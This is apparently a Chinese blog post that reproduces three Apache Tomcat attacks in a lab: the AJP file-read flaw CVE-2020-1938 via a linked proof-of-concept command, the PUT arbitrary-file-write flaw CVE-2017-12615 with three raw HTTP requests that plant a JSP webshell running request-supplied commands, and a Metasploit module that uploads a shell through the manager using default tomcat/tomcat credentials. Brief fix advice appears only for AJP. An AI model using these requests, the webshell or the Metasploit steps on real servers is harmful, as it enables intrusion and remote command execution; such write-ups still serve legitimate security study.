[漏洞复现]Tomcat漏洞复现

Tomcat_Ajp漏洞

由于Tomcat默认开启的AJP服务(8009端口)存在一处文件包含缺陷,攻击者可构造恶意的请求包进行文件包含操作,进而读取受影响Tomcat服务器上的Web目录文件。

影响版本:

  • Apache Tomcat 6
  • Apache Tomcat 7 < 7.0.100
  • Apache Tomcat 8 < 8.5.51
  • Apache Tomcat 9 < 9.0.31

漏洞编号:

CVE-2020-1938

CNVD-2020-10487

漏洞复现:

靶机:192.168.1.3

环境:tomcat 8.5.23

在这里插入图片描述

①端口探测:

靶机8009、8080端口开放。可以进行ajp漏洞探测

在这里插入图片描述

② 利用poc读取配置文件,复现漏洞:

poc地址:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

python poc.py -p 8009 -f "/WEB-INF/web.xml" 192.168.1.3
# 注意poc为py2环境

在这里插入图片描述

③修复建议

1.临时禁用AJP协议端口,在conf/server.xml配置文件中注释掉<Connector port=“8009” protocol="AJP/1.3"redirectPort=“8443” />

2.官方下载最新tomcat:https://tomcat.apache.org/

Tomcat PUT 方法任意写文件

利用环境: Windows+Tomcat 7.0.x+;配置文件readonly=false

影响版本:Apache Tomcat 7.0.0 - 7.0.79。实际Tomcat 5-9均存在类似的利用方式,但这不归属于CVE-2017-12615漏洞。配置文件内容如下:

<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>

漏洞编号:

CVE-2017-12615

利用方式1:

PUT /1.jsp%20 HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 532

******************shell*************************

这种方式适合之所以可以成功创建jsp文件是因为Windows下不允许文件名以空格结尾,但是尾部添加空格可以使tomcat认为其不是jsp文件从而交由DefaultServlet处理绕过。这种利用方式适用于Windows服务器+Tomcat 7.x

利用方式2:

PUT /1.jsp::$DATA HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 532

******************shell*************************

这种方式之所以可行是因为利用了Windows环境下NTFS文件格式的特性,NTFS文件格式存在如下的性质,为此同样可以使tomcat认为其不是jsp文件从而交由DefaultServlet处理。这种利用方式适用于Windows系统+Tomcat 7.x

利用方式3:

PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 532

<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>


# 访问127.0.0.1:8080/122.jsp?cmd=calc,弹出计算器

这种利用斜杠/绕过适合Windows系统及Linux系统,覆盖了Tomcat 5.x-9.x。
在这里插入图片描述

Tomcat弱口令拿shell

Tomcat 支持在后台部署war包,可以直接将webshell部署到web目录下,如果tomcat后台管理用户存在弱口令,这很容易被利用上传webshell。
在这里插入图片描述

弱口令进入后台,上传tomcat.war包,访问上传的shell路径getshell。
在这里插入图片描述

MSF复现:

在这里插入图片描述

use exploit/multi/http/tomcat_mgr_upload
set rhost 192.168.1.10
set rport 8080
set httppassword tomcat
set httpusername tomcat
exploit
# 分别指定主机+端口+用户名&用户密码。利用成功可进行命令执行

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值